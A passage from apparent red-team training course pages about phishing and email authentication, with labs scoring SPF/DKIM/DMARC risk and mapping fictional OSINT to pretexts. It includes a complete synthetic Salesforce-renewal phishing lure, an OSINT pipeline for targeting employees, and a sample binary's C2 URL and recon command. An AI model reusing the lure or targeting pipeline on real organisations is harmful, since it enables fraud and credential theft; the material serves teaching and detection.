email_patterns(github_emails)— Infers email format patterns from a list of real email addresses. Returns sorted list of pattern strings likefirst.last@domain.com. Pattern inference:- If local part contains
.and has 2 segments of length > 1 each →first.last@base_domain. - If local part contains
.and first segment is length 1 →f.last@base_domain. - If local part has no
.and length > 1 →flast@base_domain.
- If local part contains
-
pretext_angles(job_postings, technologies)— Matches posting text and technology names againstVENDOR_MAPkeys (case-insensitive). Returns sorted unique list of vendor impersonation descriptions. -
exposed_infrastructure(subdomains)— Matches each subdomain againstSENSITIVE_SUBDOMAIN_KEYWORDS(keyword must appear anywhere in the subdomain string, case-insensitive). Returns sorted list of{subdomain, service_type, risk_note}. -
detection_evasion_notes(target)— Matchestarget['technologies']andtarget['job_postings']againstTECH_DETECTION_MAPkeys. Returns sorted list of detection-capability descriptions. -
osint_summary(target)— Calls all four functions and assembles the result dict.
Success Criteria
After completing both labs, you should be able to:
- Parse an email header dict and produce a structured risk score with findings in under 20 lines of Python.
- Explain to a SOC analyst exactly why
SPF softfail + DMARC p=noneis a high-risk configuration even if no attack is in progress. - Given a list of GitHub emails, infer the organization's email format pattern and articulate why this matters for a spearphishing campaign.
- Map a job posting to a specific vendor-impersonation pretext and explain the attack narrative.
- List the five Sysmon event IDs most relevant to detecting phishing attachment execution and explain what each one records.
- Run both lab test suites with
LAB_MODULE=solution pytest -qand see all tests pass.
Common Mistakes
-
Treating SPF softfail as a pass. In
spf_analysis,pass=Trueonly whenspf_result == 'pass'. Softfail is not a pass — it is a deliberately weakened policy that the receiving server can honor or ignore. In the risk scorer, softfail adds +3 to the risk score. -
Not extracting the base domain for alignment checks. DMARC alignment operates on the organizational domain (last two dot-separated parts), not the full FQDN.
mail.example.comaligns withexample.comunder relaxed alignment. If you compare full strings, you will get false mismatch findings on legitimate mail from subdomains. -
Forgetting that DMARC
p=nonemeans zero enforcement. Many students seedmarc_result=failand assume the message was blocked. No. Withp=none, DMARC records the failure in the aggregate report and delivers the message. Onlyquarantineorrejectcauses action. -
Treating DKIM domain mismatch as always malicious. Large organizations often sign email with a shared ESP's DKIM key (e.g.,
d=sendgrid.netfor transactional email). This is a DMARC alignment failure for DKIM, but SPF alignment may still pass. Context matters — domain mismatch is a risk indicator, not a definitive indicator of attack. -
Forgetting the reply-to mismatch as a signal. Attackers frequently set a different
Reply-To:domain to capture replies without controlling the From: domain. This is one of the most reliable phishing signals and is missing from many scoring systems. -
Conflating the OSINT surface mapper's outputs with actual attack capability. The mapper identifies potential pretext angles and expected detection capabilities — it does not verify them. A job posting for "CrowdStrike Engineer" does not guarantee that the org has deployed CrowdStrike in production; it signals that the org is evaluating or building toward it. Assume the detection capability exists and plan accordingly.
Interview Q&A
Q1: What is DMARC and what does "p=none" mean from a security standpoint?
A: DMARC (Domain-based Message Authentication, Reporting and Conformance, RFC 7489) is a
policy layer that sits on top of SPF and DKIM and answers two questions: (1) Should receivers
enforce authentication results? (2) Send me reports about what you see. It is published as a
DNS TXT record at _dmarc.domain.com.
p=none means the domain owner is in monitoring mode: authentication results are evaluated,
aggregate reports are sent to the rua= address, but no enforcement action is taken. Messages
that fail SPF, fail DKIM, or fail alignment are delivered normally as if DMARC did not
exist. From a security standpoint, p=none is equivalent to no enforcement — it tells
receivers "collect the data, don't block anything." For defenders, a target with p=none
means the email authentication stack provides logging but zero protection against domain
spoofing. An attacker can send email claiming to be from the target's domain from any
infrastructure, and it will be delivered as long as the gateway's ML scoring doesn't catch it.
This is one of the most common high-risk email authentication misconfigurations in enterprise
environments.
Q2: Explain DKIM alignment and why it matters for phishing detection.
A: DKIM alignment is the requirement — enforced by DMARC — that the domain in the DKIM
signature's d= tag matches the domain in the email's From: header (the one visible to
the user). Without alignment, DKIM pass alone is misleading: an attacker can sign an email
with a valid DKIM key for d=attacker.com while the From: header reads ceo@legit.com,
and DKIM will report pass. The email is cryptographically signed — just not by the domain
the user sees.
DMARC enforces alignment by checking whether the d= domain matches (relaxed: same
organizational domain, last two parts; strict: exact match) the From: header domain. If DKIM
passes but alignment fails, DMARC falls through to check SPF alignment. DMARC only passes if
at least one of SPF or DKIM passes WITH alignment. For phishing detection, DKIM domain
mismatch (DKIM passes but d= doesn't align with From:) is a significant risk signal — it
means someone signed the message on behalf of a different domain than the one displayed to
the user.
Q3: How does SPF softfail (~all) differ from hard fail (-all) in practice?
A: Both ~all (softfail) and -all (fail) indicate that the sending server is not in
the authorized list of senders for the domain. The difference is the recommended action
communicated to the receiving server:
-all (hard fail) says: this server is definitively not authorized; you SHOULD reject this
message. Most modern MTAs treat -all as a strong signal and may reject or quarantine.
~all (softfail) says: this server is probably not authorized, but I'm not fully confident;
you MAY deliver this with a warning header. Most MTAs deliver softfail messages to the inbox
with an X-Spam-Status: softfail or similar header. The practical effect is that softfail
rarely stops delivery.
In practice, many organizations use ~all instead of -all because they are not fully
confident their SPF record covers every legitimate sender (cloud apps, third-party services,
mailing lists). This makes softfail the most common configuration, and it provides very little
protection. For a red team, soft-failing an SPF check means the message still reaches the
inbox. For detection engineering, softfail should be treated as a risk signal (it adds to
the risk score) but not as a definitive block.
Q4: What OSINT sources are most useful for constructing a spearphishing pretext?
A: In priority order for pretext richness:
-
LinkedIn — the most valuable source. Provides full name, title, manager chain, tenure, connections, and recent posts (which may mention travel, projects, vendors). The company page shows employee count, location, and hiring patterns.
-
Job postings — the second most valuable. A job posting for "Salesforce Administrator" or "AWS Cloud Engineer" tells you exactly what technology the org uses and what the vendor relationships look like. This directly drives vendor-impersonation pretext selection.
-
GitHub — provides email address format (from commit metadata:
git log --format='%ae'), sometimes exposes internal tooling, configuration files, or API keys in commit history. -
Certificate transparency logs and passive DNS — subdomain enumeration reveals the infrastructure surface: VPN endpoints, admin panels, staging environments, internal tools (Jira, Confluence, GitLab) exposed externally.
-
Conference talks, press releases, blog posts — executives frequently mention specific technology investments, partnerships, and initiatives in public talks. This provides high- quality pretext context.
The pipeline: LinkedIn → names/roles → GitHub → email pattern → job postings → vendor stack → combine into context-rich pretext targeting a specific person's role and responsibilities.
Q5: How would you detect a spearphishing attachment delivered as a macro-enabled Word document?
A: Detection is layered — you need controls at three points:
At the email gateway (before delivery):
- Block macro-enabled Office file extensions (
.docm,.xlsm,.pptm) from external senders. - Sandbox attachment detonation: if the sandbox observes macro execution, network callbacks, or child process spawning, quarantine the message.
- File hash reputation against known-bad databases.
At the endpoint (post-delivery, on open):
- EDR/Sysmon EID 1 (Process Create): alert on
winword.exespawning any child process that is a shell or scripting engine (cmd.exe,powershell.exe,wscript.exe,cscript.exe,mshta.exe). This is a high-confidence IOC — there is almost no legitimate reason for Word to spawn PowerShell. - Sysmon EID 11 (File Create): alert on Office processes writing executables or DLLs to temp or appdata directories.
- Sysmon EID 3 (Network Connect): alert on Office processes or their children making outbound network connections to external IPs or new domains.
Policy controls:
- Group Policy: disable macros from internet-sourced files (Microsoft's 2022 default change).
- Application allowlisting (AppLocker/WDAC): prevent execution of binaries dropped by Office to temp directories.
The highest-value single detection is Sysmon EID 1 on Office spawning a scripting child — it has extremely high precision and fires early in the kill chain.
Q6: What is the difference between T1566.001 and T1566.002?
A: Both are sub-techniques of T1566 (Phishing) under Initial Access.
T1566.001 — Spearphishing Attachment: the payload is embedded in or attached to the email itself. The attacker relies on the user opening the attachment and executing it (macro, exploit, dropper). The payload reaches the endpoint via the email client's file system. Key detection: email gateway sandbox + EDR process-tree monitoring.
T1566.002 — Spearphishing Link: the email contains a URL; the payload or credential harvest happens at the destination. The attacker relies on the user clicking the link and either submitting credentials or triggering a drive-by. The payload never enters the email system — it is served from web infrastructure. Key detection: URL reputation at the gateway (click-time scanning) + web proxy category filtering + DNS monitoring for new domains.
Operationally, T1566.002 is harder to defend because: (1) the payload is not in the email (no attachment sandbox), (2) the link may be clean at delivery and only become malicious later, and (3) URL rewriting by gateways can be bypassed by encoding, redirects, or phishing- as-a-service platforms that rotate infrastructure. Many modern campaigns combine both: the email has an HTML attachment (T1566.001) that opens a phishing page (T1566.002).
Q7: What does a DMARC aggregate report (rua) contain and how is it useful for defenders?
A: A DMARC aggregate report is an XML document sent daily (or per-reporting-period) from
each major receiving mail server to the domain owner's rua= address. It contains, for each
source IP and policy-result combination observed during the period:
- Source IP: the sending server's IP address.
- Message count: how many messages were seen from that IP claiming to be from your domain.
- Policy evaluated: what DMARC disposition was applied (none/quarantine/reject) and the SPF and DKIM results.
- Auth results: the SPF domain evaluated and its result; the DKIM domain evaluated and its result.
- Header from: the From: header domain.
For defenders, the aggregate report answers: "Who is sending email on behalf of my domain?"
This catches: (1) unauthorized senders (attackers who have not compromised your SPF record but
are sending from other IPs), (2) forgotten legitimate senders (a third-party service you forgot
to add to SPF), and (3) volume spikes that indicate active phishing campaigns. Parsing rua
reports and alerting on new source IPs sending on your domain is one of the highest-value,
lowest-cost detection investments for email security. Tools like parsedmarc, Google Postmaster
Tools, and commercial DMARC management platforms automate this parsing.
Q8: How do you score phishing risk from email headers alone?
A: A weighted additive scoring model over the following signals provides a reliable risk stratification:
| Signal | Weight | Rationale |
|---|---|---|
| SPF fail / softfail / none / error | +3 | Sending server not authorized by domain owner |
| DKIM fail | +3 | Message not cryptographically authenticated by claimed domain |
| DMARC unenforced (p=none or missing) | +2 | No enforcement even if auth fails |
| DKIM domain mismatch (passes but d= != From: domain) | +4 | Signed by a different domain — high spoof signal |
| Reply-To domain differs from From: domain | +3 | Classic phishing misdirection |
Score interpretation:
- 0–3: LOW — likely legitimate or minor misconfiguration.
- 4–6: MEDIUM — investigate; may be misconfigured legitimate sender.
- 7–10: HIGH — strong phishing indicators; quarantine recommended.
- 11+: CRITICAL — multiple independent phishing signals; reject or isolate.
The DKIM domain mismatch carries the highest weight (+4) because it is the most specific
indicator: it means someone produced a valid DKIM signature for a different domain than the
one shown to the user. The only legitimate use case (shared ESP signing with their own d=
domain) is becoming less common as organizations configure their own DKIM keys. In combination
with DMARC unenforced, this pattern is near-definitive for a spoofing attempt.
References
- RFC 7208 — Sender Policy Framework (SPF) for Authorizing Use of Domains in Email: https://tools.ietf.org/html/rfc7208
- RFC 6376 — DomainKeys Identified Mail (DKIM) Signatures: https://tools.ietf.org/html/rfc6376
- RFC 7489 — Domain-based Message Authentication, Reporting, and Conformance (DMARC): https://tools.ietf.org/html/rfc7489
- Mandiant M-Trends 2023 — Annual report on attacker initial-access vectors and dwell time: https://www.mandiant.com/m-trends (requires registration)
- MITRE ATT&CK T1566 — Phishing (Initial Access): https://attack.mitre.org/techniques/T1566/
- MITRE ATT&CK T1566.001 — Spearphishing Attachment: https://attack.mitre.org/techniques/T1566/001/
- MITRE ATT&CK T1566.002 — Spearphishing Link: https://attack.mitre.org/techniques/T1566/002/
- Google Admin Toolbox — Check MX — Public DNS record checker for SPF/DKIM/DMARC: https://toolbox.googleapps.com/apps/checkmx/
- parsedmarc — Open-source DMARC aggregate report parser: https://github.com/domainaware/parsedmarc
- Sysmon — Windows system monitoring tool (Sysmon EID reference): https://docs.microsoft.com/en-us/sysinternals/downloads/sysmon
Hitchhiker's Guide — Cedar Lattice Phase 10: Social Engineering Range
Operation Cedar Lattice. This guide walks through the fictional engagement environment for Phase 10. Meridian Freight International is the target. FIN-LATTICE is the emulated actor. Everything in this document is synthetic: the email headers, domains, OSINT data, and employee names are fabricated for educational use. No real infrastructure is involved.
The Meridian Freight Environment
Organizational Profile (Synthetic)
Meridian Freight International is a fictional mid-size logistics company (1,200 employees) headquartered in Atlanta, GA. It operates a freight brokerage platform, a fleet management portal, and an API-driven shipment tracking service. Key facts for the engagement:
- Primary domain:
meridianfreight.com - Microsoft 365 tenant: mail delivered via Exchange Online
- CRM: Salesforce (confirmed via job postings and LinkedIn)
- Cloud: AWS (EKS cluster for tracking API, S3 for document storage)
- IdP: Okta SSO with MFA enforced for VPN and internal SaaS
- EDR: CrowdStrike Falcon deployed to Windows endpoints
- SIEM: Splunk (contract confirmed via job posting for Splunk Admin)
- Email gateway: Mimecast (outbound and inbound filtering)
- DMARC status:
p=none— monitoring only, no enforcement
Email Infrastructure
The engagement's OSINT phase discovered the following DNS records for meridianfreight.com:
SPF Record:
meridianfreight.com. 300 IN TXT "v=spf1 include:_spf.google.com include:mailgun.org
include:spf.protection.outlook.com ip4:198.51.100.14 ~all"
Note: ~all (softfail). The include:mailgun.org entry means any server on Mailgun's
sending network passes SPF for meridianfreight.com. Mailgun is a commercial ESP — the
SPF record was likely added when Meridian's marketing team set up email campaigns and was
never removed. This is a common finding in enterprise SPF records.
DKIM Key Record (selector: mimecast20230101):
mimecast20230101._domainkey.meridianfreight.com. 300 IN TXT (
"v=DKIM1; k=rsa; p=MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQ"
"KBgQDsP7X...rest-of-key...AQAB"
)
DMARC Record:
_dmarc.meridianfreight.com. 300 IN TXT (
"v=DMARC1; p=none; rua=mailto:dmarc-reports@meridianfreight.com;"
"fo=1; adkim=r; aspf=r"
)
Critical finding: p=none. Mimecast (the gateway) provides some ML-based phishing detection,
but the DMARC layer enforces nothing. A phishing email that passes SPF (using the Mailgun
include:) will be delivered even if DKIM is absent and DMARC is technically a failure.
Subdomains (from certificate transparency scan)
The following subdomains were identified for meridianfreight.com:
| Subdomain | Purpose | Risk |
|---|---|---|
www.meridianfreight.com | Public website | Low |
mail.meridianfreight.com | MX / webmail redirect | Low |
vpn.meridianfreight.com | Cisco AnyConnect endpoint | High — credential spray target |
admin.meridianfreight.com | Internal admin panel (403 externally) | High — if authenticated |
staging.meridianfreight.com | Freight portal staging | Medium — may have weaker auth |
api.meridianfreight.com | Shipment tracking API | Medium — if unauthenticated endpoints |
confluence.meridianfreight.com | Atlassian Confluence (internal wiki) | High — if externally accessible |
jenkins.meridianfreight.com | CI/CD server | Critical — if externally accessible |
The vpn. subdomain is the highest-priority target for credential stuffing (post-phish
credential harvest). The staging. subdomain may have weaker controls and real data.
OSINT Findings — FIN-LATTICE Phase 10 Reconnaissance
Email Pattern Inference
From public GitHub repositories under the meridian-freight organization account, the
following email addresses were observed in git commit metadata:
john.smith@meridianfreight.com # Senior Software Engineer (freight platform)
a.jones@meridianfreight.com # DevOps Engineer (EKS cluster work)
jdoe@meridianfreight.com # IT Admin (Okta/Active Directory)
sarah.williams@meridianfreight.com # Data Engineer (Splunk dashboards)
Email pattern analysis:
john.smithandsarah.williams→first.last@meridianfreight.coma.jones→f.last@meridianfreight.com(initial + last)jdoe→flast@meridianfreight.com(initial + last, no separator)
Dominant pattern: first.last@meridianfreight.com (3 of 4 observed).
With LinkedIn providing 200 employee names, the email pattern yields approximately 200 targetable email addresses. The engagement pre-authorization letter covers a seeded mailbox in the range only — no live employee is targeted.
Job Postings (at time of reconnaissance)
Key postings observed on LinkedIn and Meridian's careers page:
-
Salesforce Administrator — "Manage and optimize our Salesforce CRM platform, including user provisioning, custom object configuration, and integration with our freight operations workflow."
-
AWS Cloud Engineer — "Drive our freight tracking API migration from on-premise to AWS EKS. Experience with IAM, EKS, and S3 required."
-
ServiceNow Developer — "Implement ITSM workflows on ServiceNow to streamline our IT helpdesk operations."
-
CrowdStrike Engineer — "Manage and tune our CrowdStrike Falcon deployment across 1,200 Windows and macOS endpoints."
-
Splunk Administrator — "Manage Splunk indexers and search heads; build detection use cases for our SOC team."
Pretext opportunities derived:
- Salesforce renewal / account team — highest priority (universally trusted, financial context, urgency via "renewal").
- AWS migration specialist — second priority (technical audience but high autonomy).
- ServiceNow professional services — for IT operations staff.
FIN-LATTICE Email Sample (Synthetic, Educational Only)
The following is a synthetic example of a FIN-LATTICE-style pretext email. It is provided to illustrate the analysis in Lab 01. No real phishing email is constructed or sent.
From: Alex Chen <a.chen@salesforce-accountteam.com>
To: john.smith@meridianfreight.com
Reply-To: support@salesforce-renewals.ru
Subject: Meridian Freight — Contract #MF-2024-0891 Renewal (Action Required by Friday)
Hi John,
I'm reaching out regarding your Salesforce Enterprise contract, MF-2024-0891,
which is coming up for renewal this Friday, June 27.
We've prepared a revised pricing proposal that includes the new Einstein Copilot
add-on your VP of Sales requested last quarter. The proposal also corrects the
overage charges from Q4 that your finance team flagged.
Please review and approve the attached proposal or log into the renewal portal
at: https://salesforce-contract-portal.meridianfreight-renewal.com/review
If you have questions, reply to this email or call me at +1 (415) 555-0198.
Best,
Alex Chen
Account Executive, Salesforce Enterprise
alex.chen@salesforce.com (primary) | a.chen@salesforce-accountteam.com
Analysis of this synthetic email:
The sending domain salesforce-accountteam.com is an attacker-registered lookalike. It
likely passes SPF (the attacker controls the SPF record for this domain). DKIM may or may
not be present (if absent, DMARC reports failure but p=none delivers anyway). The
Reply-To header points to salesforce-renewals.ru — a different base domain entirely.
This is the reply-to mismatch signal (Lab 01 +3 risk score).
Header fields that Lab 01's analyzer would see:
{
"from_domain": "meridianfreight.com", # the claimed domain (display)
"spf_result": "pass", # attacker's domain has valid SPF
"dkim_result": "fail", # no DKIM or invalid signature
"dkim_domain": "", # no DKIM d= tag
"dmarc_policy": "none", # target's DMARC is unenforced
"dmarc_result": "fail", # would fail alignment even if SPF passes
"reply_to_domain": "salesforce-renewals.ru", # reply-to mismatch
}
Lab 01 risk score calculation:
- SPF pass (0) — the attacker's server is authorized by their domain's SPF.
- DKIM fail (+3).
- DMARC none (+2).
- Reply-to mismatch:
salesforce-renewals.rubase =salesforce-renewals.ru≠meridianfreight.com→ +3. - Total: 8 → HIGH.
Note: The from_domain in the lab header dict represents the domain being analyzed (the domain shown in the From: header), not the attacker's sending domain. The SPF result reflects whether the sending server was authorized by the sending domain. In the above scenario the attacker controls their sending domain so SPF passes — but the reply-to mismatch and DKIM failure still produce HIGH risk.
Phase 10 Artifact — Cedar Lattice Engagement Note
OPERATION CEDAR LATTICE
Phase 10 — Initial Access: Social Engineering
Target: Meridian Freight International
Emulated Actor: FIN-LATTICE
KEY FINDINGS (Phase 10 reconnaissance):
1. DMARC p=none on meridianfreight.com
Impact: Any email claiming to be from meridianfreight.com is delivered regardless of
SPF/DKIM result. No enforcement. rua= reports go to dmarc-reports@meridianfreight.com
— unclear if they are parsed or actioned.
Recommendation (defensive): Move to p=quarantine after auditing rua= reports for 30
days. Expected legitimate senders: Exchange Online, Mailgun (marketing), Mimecast.
2. Permissive SPF: include:mailgun.org with ~all
Impact: Any server on Mailgun's sending network passes SPF for meridianfreight.com.
Combined with p=none, this means an attacker who uses Mailgun (or any server within
mailgun.org's SPF includes) can send mail that passes SPF and is delivered.
Recommendation: Audit whether Mailgun is still in use; remove if not. Tighten to -all.
3. VPN endpoint at vpn.meridianfreight.com
Impact: Cisco AnyConnect VPN is externally accessible. Post-phish credential harvest
targeting VPN is high-probability pivot path.
Recommendation: Verify MFA enforcement on VPN; restrict to known source IPs where
operationally feasible.
4. staging.meridianfreight.com accessible externally
Impact: Staging environments frequently contain production data clones with weaker
authentication controls. Requires further investigation.
Recommendation: Restrict staging to internal IP ranges or require VPN.
5. Email pattern: first.last@meridianfreight.com
Impact: With LinkedIn providing ~200 employee names, the pattern yields a targetable
address book with high confidence.
Recommendation: Implement email gateway controls that detect bulk delivery to pattern-
inferred addresses (unusual for external senders).
PHASE 10 CONCLUSION:
The combination of DMARC p=none + permissive SPF + identifiable email pattern + Salesforce/
AWS pretext opportunities represents a high-probability initial-access path. FIN-LATTICE's
documented playbook maps directly to this environment. Recommend immediate DMARC enforcement
and SPF tightening as the two highest-ROI defensive actions before any other phase-10
remediation.
« Phase 10 README | Lab 01 — Email Auth Analyzer | Lab 02 — OSINT Surface Mapper
Lab 01 — Email Authentication Analyzer
Operation Cedar Lattice, Phase 10.
Parse email header authentication fields and compute a structured phishing-risk score. This lab implements the detection logic that a SOC analyst or email security platform would apply to every inbound message: evaluate SPF, DKIM, and DMARC results; check domain alignment; flag reply-to anomalies; produce a weighted risk score and risk level.
Safety. This lab is an analyzer over synthetic header dictionaries. There is no email-sending code, no SMTP connection, no credential harvesting, and no working phishing tool. The input is a Python dict; the output is a risk score and findings list.
What You Will Build
Five functions that together implement a phishing risk analysis pipeline:
| Function | Input | Output |
|---|---|---|
spf_analysis(header) | header dict | {pass, finding} |
dkim_analysis(header) | header dict | {pass, finding, domain_match} |
dmarc_analysis(header) | header dict | {enforced, policy, finding} |
phish_risk_score(header) | header dict | integer (0-15+) |
analyze(header) | header dict | {risk_score, risk_level, findings} |
Header Dict Schema
header = {
"from_domain": str, # domain in From: header (e.g., "example.com")
"spf_result": str, # 'pass'|'fail'|'softfail'|'neutral'|'none'|'permerror'|'temperror'
"dkim_result": str, # 'pass'|'fail'|'neutral'|'none'|'permerror'|'temperror'
"dkim_domain": str, # d= tag value from DKIM-Signature header (may be empty)
"dmarc_policy": str, # 'none'|'quarantine'|'reject'
"dmarc_result": str, # 'pass'|'fail'
"reply_to_domain": str, # domain from Reply-To: header (empty string if not present)
}
Risk Score Weights
| Condition | Points |
|---|---|
| SPF fail/softfail/none/permerror/temperror | +3 |
| DKIM not pass | +3 |
DMARC policy is none or missing | +2 |
DKIM passes but dkim_domain base differs from from_domain base | +4 |
reply_to_domain non-empty and base differs from from_domain base | +3 |
Risk levels:
- LOW: 0–3
- MEDIUM: 4–6
- HIGH: 7–10
- CRITICAL: 11+
Domain base extraction: last two dot-separated parts. mail.example.com → example.com.
Files
| File | Purpose |
|---|---|
lab.py | Your implementation — stubs with NotImplementedError |
solution.py | Complete reference solution |
test_lab.py | 13 pytest tests |
requirements.txt | pytest>=7.0 |
Running the Tests
# Run against your implementation (should fail with NotImplementedError)
pytest -q
# Run against reference solution (all 13 should pass)
LAB_MODULE=solution pytest -q
Learning Objectives
After completing this lab you should be able to:
- Explain the difference between SPF fail and softfail and why both add risk.
- Implement relaxed DMARC domain alignment (organizational domain comparison).
- Describe why reply-to mismatch is a high-confidence phishing signal.
- Compute a weighted phishing risk score from raw header fields and map it to a risk level.
- Enumerate findings from multiple sub-analyses into a unified result.
« Phase 10 README | Lab 02 — OSINT Surface Mapper
Lab 02 — OSINT Surface Mapper
Operation Cedar Lattice, Phase 10.
Map synthetic OSINT findings about Meridian Freight International to vendor-impersonation pretext opportunities, exposed infrastructure, and expected detection capabilities. This lab models the structured analysis step that converts raw OSINT data into an actionable engagement plan — and simultaneously shows the defender exactly what that analysis reveals.
Safety. This lab operates entirely on synthetic org data. There are no live OSINT queries, no DNS lookups, no web requests, no real employee data, and no connection to any external system. Input and output are Python dicts and lists.
What You Will Build
Five public functions that together implement an OSINT-to-pretext analysis pipeline:
| Function | Input | Output |
|---|---|---|
email_patterns(github_emails) | list of email strings | sorted list of pattern strings |
pretext_angles(job_postings, technologies) | two lists of strings | sorted list of pretext descriptions |
exposed_infrastructure(subdomains) | list of subdomain strings | sorted list of {subdomain, service_type, risk_note} |
detection_evasion_notes(target) | target dict | sorted list of detection-capability strings |
osint_summary(target) | target dict | combined result dict |
Target Dict Schema
target = {
"domain": str, # primary domain, e.g., "meridianfreight.com"
"subdomains": list[str], # known subdomains
"github_emails": list[str], # email addresses from git commit metadata
"job_postings": list[str], # job posting text snippets
"technologies": list[str], # technology names from job postings / LinkedIn
}
Pattern Logic
Email Pattern Inference
Given a list of email addresses, infer the naming convention:
| Local part | Inferred pattern |
|---|---|
Contains . and both parts length > 1 (e.g., john.smith) | first.last@domain |
Contains . and first part is single char (e.g., a.jones) | f.last@domain |
No ., length > 1 (e.g., jdoe) | flast@domain |
Vendor Impersonation
Match job postings and technologies against the built-in VENDOR_MAP dict
(case-insensitive). Return sorted unique list of pretext angle descriptions.
Subdomain Sensitivity
Match each subdomain string against SENSITIVE_SUBDOMAIN_KEYWORDS (keyword must appear
anywhere in the subdomain, case-insensitive). Return sorted list of
{subdomain, service_type, risk_note}.
Detection Capabilities
Match technologies and job posting text against TECH_DETECTION_MAP keys
(case-insensitive). Return sorted list of detection-capability descriptions.
Files
| File | Purpose |
|---|---|
lab.py | Your implementation — public functions stubbed with NotImplementedError |
solution.py | Complete reference solution |
test_lab.py | 12 pytest tests |
requirements.txt | pytest>=7.0 |
Running the Tests
# Run against your implementation (should fail with NotImplementedError)
pytest -q
# Run against reference solution (all 12 should pass)
LAB_MODULE=solution pytest -q
Learning Objectives
After completing this lab you should be able to:
- Infer an organization's email naming convention from a small sample of known addresses.
- Map job-posting technology mentions to specific vendor-impersonation pretext angles.
- Identify sensitive subdomain patterns that indicate high-value infrastructure.
- Derive the target organization's detection capabilities from its technology stack.
- Explain why understanding detection capabilities is as important as finding attack opportunities when planning a red team engagement.
« Phase 10 README | Lab 01 — Email Auth Analyzer
Phase 11 — Reverse Engineering and Vulnerability Discovery
Operation Cedar Lattice | Phase 11
Narrative
Cedar Lattice Phase 11. The engagement against Meridian Freight International has progressed past initial access. The threat actor FIN-LATTICE is known to use custom-packed loaders and to embed vulnerabilities in logistics management software. Phase 11 trains you to triage captured binaries, identify packing, score vulnerabilities with CVSS, and scan source code for common weakness patterns — all skills necessary to understand what the adversary built and what Meridian's own software exposes.
Safety Statement: This phase teaches detection and analysis. Every offensive concept ends in its detection method. Labs analyze synthetic metadata only. No working exploits, shellcode, or weaponized payloads are produced or required.
Why Reverse Engineering is a Red Team Skill
Red teamers encounter reverse engineering at multiple points in an engagement:
- Triage found tooling — You captured a binary on the target. Is it packed? What does it import? What strings does it contain? This tells you what the adversary left behind.
- Analyze target software — Meridian's logistics app may contain exploitable vulnerabilities. Source code review and binary analysis surface these before or after decompilation.
- Understand evasion — FIN-LATTICE uses packers (UPX, Themida) to hide code from AV. Understanding entropy and packing helps you recognize and classify the technique.
- Build PoC to prove impact — A finding without a PoC is a recommendation, not a proof. RE informs PoC construction by revealing what the code actually does.
Learning Objectives
- Compute Shannon entropy on binary section data and interpret values as packing signals.
- Identify common packer signatures (UPX, Themida, VMProtect) from import tables and section names.
- Apply the x86-64 System V AMD64 ABI calling convention to function analysis.
- Map vulnerability classes (CWE-78, CWE-89, CWE-22, CWE-120, CWE-502) to code patterns.
- Score a vulnerability using CVSS v3.1 base metrics.
- Perform static source code review using pattern matching methodology.
- Apply responsible disclosure principles to findings documentation.
Cedar Lattice Artifact
TLP:WHITE — Sanitized for Training
Artifact:
mfi_updater_v3.exe— Captured from Meridian Freight International update server. Initial triage: PE32+ binary, sections.text(entropy 7.9),.rsrc(entropy 5.1). Import table:LoadLibraryA,GetProcAddressonly. Strings:http://198.51.100.45/update,cmd.exe /c whoami. Assessment: UPX-packed loader. C2 channel present. Recon string present. This artifact drives the scenarios in Phase 11 labs.
Labs
| Lab | Title | Skills |
|---|---|---|
| 01 | Binary Triage Engine | Entropy analysis, packer detection, suspicious strings, triage report |
| 02 | Source Vulnerability Scanner | SQL injection, command injection, path traversal, deserialization, CVSS |
How to Run
# Lab 01 — run stubs (expect NotImplementedError)
cd lab-01-binary-triage-engine
pytest -q
# Lab 01 — run solution
LAB_MODULE=solution pytest -q
# Lab 02 — run stubs
cd ../lab-02-source-vuln-scanner
pytest -q
# Lab 02 — run solution
LAB_MODULE=solution pytest -q
Navigation
WARMUP — Reverse Engineering & Vulnerability Discovery
Operation Cedar Lattice, Phase 11. Before touching the labs, read every chapter in sequence. This guide takes you from zero knowledge of reverse engineering through binary triage methodology, Shannon entropy theory, x86-64 calling conventions, import table analysis, source code review methodology, the full vulnerability class taxonomy, CVSS v3.1 scoring, responsible disclosure, and complete lab walkthroughs. The lab walkthrough at the end shows exactly what each lab tests and what the solution must implement.
Table of Contents
- Chapter 1: What Is Reverse Engineering and Why Red Teams Need It
- Chapter 2: Binary Triage Workflow
- Chapter 3: Shannon Entropy and Packing Detection
- Chapter 4: x86-64 Calling Conventions
- Chapter 5: Import Table Analysis as Intent Signal
- Chapter 6: Source Code Review Methodology
- Chapter 7: Vulnerability Classes
- Chapter 8: CVSS v3.1 Scoring
- Chapter 9: Responsible Disclosure
- Chapter 10: Misconceptions
- Chapter 11: Lab Walkthroughs
- Chapter 12: Interview Q&A
- References
Chapter 1: What Is Reverse Engineering and Why Red Teams Need It
1.1 Defining the Discipline
Reverse engineering (RE) is the process of understanding a system — software, hardware, or protocol — by analyzing its observable behavior and artifacts rather than its original design documents. In the context of offensive security, RE refers specifically to the analysis of compiled binaries, obfuscated scripts, and production code to extract behavioral intent.
The phrase "reverse" signals direction: normal software engineering moves from specification to source code to compiled artifact. RE inverts that flow. You start with the compiled artifact (or the obfuscated code, or the protocol capture) and work backward toward understanding what it does.
RE is not the same as decompilation. Decompilation is one tool within RE, and even decompiled output is never source code — it is a reconstructed approximation. Real RE involves combining static analysis (examining the binary without running it), dynamic analysis (running the binary in a controlled environment and observing behavior), and contextual reasoning (using knowledge of the target platform, adversary TTPs, and related samples to fill gaps).
1.2 Why Red Teams Reverse Engineer
Red teamers encounter RE requirements at four distinct points in an engagement lifecycle:
Finding 1: Triage captured tooling. You have access to a binary on the target system — an artifact dropped by a threat actor, a custom admin tool, or a suspicious scheduled task. Before committing hours to full analysis, you need a rapid assessment: is this packed? What does it import? What strings does it contain? These three questions take ten minutes and tell you whether the binary is worth deeper investigation or can be dismissed.
Finding 2: Analyze target software for exploitability. Meridian Freight International runs a custom logistics management application. The application source may contain SQL injection in a query builder, command injection in a diagnostic endpoint, or unsafe deserialization in a plugin loader. Source code review and binary triage surface these weaknesses before or after decompilation.
Finding 3: Understand evasion to replicate or detect it. FIN-LATTICE uses UPX and Themida packing to hide code from antivirus. Understanding how these packers modify the binary's entropy, section layout, and import table helps you both recognize the packing technique in new samples and write detection rules that survive packer variations.
Finding 4: Build proof-of-concept to demonstrate impact. A finding without a PoC is a recommendation, not a proof. RE informs PoC construction by revealing what the code actually does — the precise function offsets, calling conventions, and return value semantics that a PoC must interact with.
1.3 ATT&CK Techniques Covered
Phase 11 maps to the following MITRE ATT&CK techniques and sub-techniques:
| Technique | ID | Description |
|---|---|---|
